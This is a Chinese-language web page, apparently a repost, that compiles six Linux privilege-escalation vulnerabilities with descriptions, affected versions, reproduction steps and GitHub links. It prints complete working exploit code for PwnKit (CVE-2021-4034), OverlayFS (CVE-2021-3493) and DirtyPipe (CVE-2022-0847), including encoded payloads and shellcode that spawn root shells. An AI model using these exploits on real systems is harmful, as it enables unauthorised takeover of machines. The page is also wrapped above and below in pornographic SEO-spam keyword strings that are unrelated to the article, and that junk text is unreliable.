精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux提權(quán)0day匯總

安全 Linux
由于 openvswitch 模塊在處理大量actions的情況下,可能存在越界寫(xiě)入漏洞,本地經(jīng)過(guò)身份認(rèn)證的攻擊者可利用此漏洞獲取root權(quán)限。

1.Linux openvswitch權(quán)限提升漏洞 CVE-2022-2639

#漏洞描述

由于 openvswitch 模塊在處理大量actions的情況下,可能存在越界寫(xiě)入漏洞,本地經(jīng)過(guò)身份認(rèn)證的攻擊者可利用此漏洞獲取root權(quán)限。

#漏洞影響

3.13 ≤ Linux Kernel < 5.18

#漏洞復(fù)現(xiàn)

編譯POC并運(yùn)行獲取Root權(quán)限

圖片

https://github.com/avboy1337/CVE-2022-2639-PipeVersion

2.Linux Polkit權(quán)限提升漏洞 CVE-2021-4034

#漏洞描述

Qualys 研究團(tuán)隊(duì)在 polkit 的 pkexec 中發(fā)現(xiàn)了一個(gè)內(nèi)存損壞漏洞,該 SUID 根程序默認(rèn)安裝在每個(gè)主要的 Linux 發(fā)行版上。這個(gè)易于利用的漏洞允許任何非特權(quán)用戶(hù)通過(guò)在其默認(rèn)配置中利用此漏洞來(lái)獲得易受攻擊主機(jī)上的完全 root 權(quán)限。

#漏洞影響

Polkit > 2009

#漏洞復(fù)現(xiàn)

POC來(lái)源: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

圖片

#漏洞POC

https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

3.Linux sudo權(quán)限提升漏洞 CVE-2021-3156

#漏洞描述

2021年1月26日,Linux安全工具sudo被發(fā)現(xiàn)嚴(yán)重的基于堆緩沖區(qū)溢出漏洞。利用這一漏洞,攻擊者無(wú)需知道用戶(hù)密碼,一樣可以獲得root權(quán)限,并且是在默認(rèn)配置下。此漏洞已分配為CVE-2021-3156,危險(xiǎn)等級(jí)評(píng)分為7分。 當(dāng)sudo通過(guò)-s或-i命令行選項(xiàng)在shell模式下運(yùn)行命令時(shí),它將在命令參數(shù)中使用反斜杠轉(zhuǎn)義特殊字符。但使用-s或-i標(biāo)志運(yùn)行sudoedit時(shí),實(shí)際上并未進(jìn)行轉(zhuǎn)義,從而可能導(dǎo)致緩沖區(qū)溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻擊者就可以使用本地普通用戶(hù)利用sudo獲得系統(tǒng)root權(quán)限。研究人員利用該漏洞在多個(gè)Linux發(fā)行版上成功獲得了完整的root權(quán)限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系統(tǒng)和Linux發(fā)行版也很容易受到攻擊。

#漏洞影響

Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1

#漏洞復(fù)現(xiàn)

圖片

目前POC已經(jīng)在Github公開(kāi)

POC來(lái)源: https://github.com/blasty/CVE-2021-3156

另一個(gè)無(wú)交互式shell使用的腳本:https://github.com/Rvn0xsy/CVE-2021-3156-plus

4.Linux kernel權(quán)限提升漏洞 CVE-2021-3493

#漏洞描述

Ubuntu OverlayFS Local Privesc CVE-2021-3493 EXP在Github被公開(kāi),可以通過(guò)EXP在Ubuntu多個(gè)影響系統(tǒng)中提升 ROOT權(quán)限

#漏洞影響

Ubuntu 20.10Ubuntu 20.04 LTSUbuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 ESM

#漏洞復(fù)現(xiàn)

漏洞Github地址為:https://github.com/briskets/CVE-2021-3493

環(huán)境使用騰訊云的Ubuntu鏡像即可

gcc exploit.c -o exploit
chmod +x exploit
./exploit

1

2

3

下載并編譯腳本

圖片

運(yùn)行EXP成功提權(quán) Root

漏洞POC

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

5.Linux DirtyPipe權(quán)限提升漏洞 CVE-2022-0847

#漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux內(nèi)核 5.8 及之后版本中的本地提權(quán)漏洞。攻擊者通過(guò)利用此漏洞,可覆蓋重寫(xiě)任意可讀文件中的數(shù)據(jù),從而可將普通權(quán)限的用戶(hù)提升到特權(quán) root。 CVE-2022-0847 的漏洞原理類(lèi)似于 CVE-2016-5195 臟牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者將此漏洞命名為“Dirty Pipe”

#漏洞影響

Linux內(nèi)核 5.8 及之后版本

#漏洞復(fù)現(xiàn)

查找具有suid權(quán)限的可執(zhí)行文件

find / -user root -perm /4000 2>/dev/null

編譯POC文件后,指定修改的Suid可執(zhí)行文件,獲取root權(quán)限

圖片

#漏洞POC

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

6.Linux eBPF權(quán)限提升漏洞 CVE-2022-23222

#漏洞描述

Linux Kernel 是美國(guó) Linux 基金會(huì)發(fā)布的開(kāi)源操作系統(tǒng) Linux 所使用的內(nèi)核。Linux 內(nèi)核是一種開(kāi)源的類(lèi)Unix 操作系統(tǒng)宏內(nèi)核。整個(gè) Linux 操作系統(tǒng)家族基于該內(nèi)核部署在傳統(tǒng)計(jì)算機(jī)平臺(tái)(如個(gè)人計(jì)算機(jī)和服務(wù)器)。該漏洞是由于 Linux 內(nèi)核的 BPF 驗(yàn)證器存在一個(gè)空指針漏洞,沒(méi)有對(duì) *_OR_NULL 指針類(lèi)型進(jìn)行限制,允許這些類(lèi)型進(jìn)行指針運(yùn)算。攻擊者可利用該漏洞在獲得低權(quán)限的情況下,構(gòu)造惡意數(shù)據(jù)執(zhí)行空指針引用攻擊,最終獲取服務(wù)器 root 權(quán)限

#漏洞影響

Linux 5.8 - 5.16

#漏洞復(fù)現(xiàn)

運(yùn)行編譯好的EXP

圖片

#漏洞POC

https://github.com/tr3ee/CVE-2022-23222

責(zé)任編輯:龐桂玉 來(lái)源: 小兵搞安全
相關(guān)推薦

2009-02-18 10:18:49

2025-11-13 09:39:01

2016-10-31 23:00:58

MySQLMOF方法提權(quán)數(shù)據(jù)庫(kù)安全

2009-07-06 13:15:07

2015-05-20 16:34:14

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2021-10-06 13:48:50

0day漏洞攻擊

2009-05-14 17:28:12

Linuxptrace 0day漏洞

2009-07-22 16:20:24

2011-10-24 16:26:06

2011-08-26 11:44:01

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2013-05-24 14:02:42

2009-05-19 16:45:15

Linux安全漏洞補(bǔ)丁

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2010-01-20 16:13:15

2021-07-14 17:17:45

0day漏洞惡意代碼

2011-02-28 09:34:55

2009-11-02 09:48:54

2011-03-15 15:14:22

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

国产一区二区三区在线观看视频 | 色网站在线看| 久久99精品国产91久久来源| 久久久精品一区二区三区| 在线播放第一页| 国产超碰精品| 亚洲精品日韩专区silk| 精品国产乱码久久久久软件 | 免费视频一区二区| 欧美成人小视频| 精品少妇一区二区三区免费观| 久久亚洲精品人成综合网| 亚洲国产毛片aaaaa无费看| 人禽交欧美网站免费| 国产又爽又黄免费软件| 国产精品尤物| 欧美二区乱c黑人| 欧美人妻一区二区三区| 福利片一区二区| 欧美日本视频在线| 日本精品免费在线观看| a毛片在线看免费观看| 久久久精品欧美丰满| 亚洲综合大片69999| 天堂网视频在线| 国模 一区 二区 三区| 中文字幕亚洲欧美| 欧美 日本 国产| 97超碰成人| 欧美一级午夜免费电影| 国产主播中文字幕| 欧美男男tv网站在线播放| 亚洲三级电影全部在线观看高清| 欧美日韩一区在线观看视频| 国产成人三级在线观看视频| 精久久久久久久久久久| 国产不卡av在线免费观看| 久久免费视频播放| 欧美在线网站| 久久亚洲精品中文字幕冲田杏梨| 精品人妻中文无码av在线| 天天久久夜夜| 日韩成人av一区| 精品人妻在线视频| 涩爱av色老久久精品偷偷鲁| 欧美人妇做爰xxxⅹ性高电影| 日韩精品一区二区三区不卡 | **女人18毛片一区二区| 国产亚洲欧美一区| 欧美激情aaa| 中文字幕av一区二区三区人| 亚洲国产精品va在线看黑人| 又黄又色的网站| 在线观看视频一区二区三区 | 视频在线观看你懂的| 99国产精品久久久久久久久久久| 国产精品免费一区二区三区观看| 国产极品久久久| 国产99久久精品| 国产精品theporn88| 超碰在线播放97| 国产成人精品综合在线观看| av一区二区三区免费| 国内精品国产成人国产三级| 粉嫩在线一区二区三区视频| 国产伦精品一区二区三区高清版 | 日韩中文字幕| 亚洲成人网在线观看| 男男一级淫片免费播放| 美女视频亚洲色图| 亚洲男人7777| 亚洲高潮女人毛茸茸| 999久久久91| 九九热这里只有在线精品视| 久热这里只有精品在线| 日韩一级精品| 国产精品r级在线| 96亚洲精品久久久蜜桃| 福利视频网站一区二区三区| 国精产品99永久一区一区| 日韩二区三区| 国产精品欧美极品| 久久久久久久香蕉| 色综合亚洲图丝熟| 欧美色网站导航| 午夜影院福利社| 精品大片一区二区| 这里只有精品视频在线| 老女人性淫交视频| 国产视频一区三区| 国产日韩欧美中文| 欧美在线 | 亚洲| 欧美极品少妇xxxxⅹ高跟鞋| 一级特黄妇女高潮| 亚洲精品福利电影| 51午夜精品国产| 中国黄色片视频| 精品日韩欧美一区| 久久久亚洲福利精品午夜| 91porny九色| 国产福利91精品一区| 秋霞毛片久久久久久久久| 亚洲无线看天堂av| 色综合天天性综合| 日本黄色大片在线观看| 精品久久美女| 高清欧美性猛交xxxx| 最新国产中文字幕| 99视频一区二区三区| 在线观看一区二区三区三州| 一二三四视频在线中文| 日韩一区二区三区电影| 欧美激情aaa| 亚洲国产第一| 亚洲一区二区三区在线视频| 久久久久久久久亚洲精品| 亚洲制服丝袜一区| 日本不卡一区二区在线观看| 美女一区二区在线观看| 久久综合五月天| 在线观看日韩一区二区| 91免费视频大全| 欧美极品少妇无套实战| 欧美网站免费| 亚洲天堂第二页| 你懂的国产视频| 国产aⅴ综合色| 一区二区视频在线观看| 激情亚洲影院在线观看| 日韩电视剧在线观看免费网站| 永久免费看片直接| 日本在线不卡一区| 欧美一进一出视频| 丝袜老师在线| 日韩精品一区二区视频| 日韩在线观看第一页| 国产91在线|亚洲| 麻豆md0077饥渴少妇| 亚洲精品无播放器在线播放| 尤物99国产成人精品视频| 日韩精品成人免费观看视频| 99精品一区二区| 少妇高潮毛片色欲ava片| 成人动态视频| 911国产网站尤物在线观看| 亚洲av无码一区二区乱子伦| 一区av在线播放| 9191在线视频| 欧美日韩网站| 成人av免费在线看| sqte在线播放| 亚洲高清一区二| 国产污片在线观看| 成人av免费在线观看| 亚洲国产精品无码观看久久| 91蝌蚪精品视频| 久久人人爽国产| 色窝窝无码一区二区三区成人网站| 亚洲一本大道在线| 91丨porny丨对白| 国产亚洲亚洲| 日本不卡一区二区三区在线观看| 在线成人视屏| 精品国产网站地址| 国产又粗又猛又黄又爽| 亚洲精品国产精华液| 久久黄色一级视频| 999在线观看精品免费不卡网站| 精品欧美一区二区三区久久久 | 国产日韩欧美日韩大片| 免费在线看黄色| 欧美成人vps| 欧美精品亚洲精品日韩精品| 久久久久久久久蜜桃| 欧美日韩中文不卡| 女同性一区二区三区人了人一| 成人永久免费| 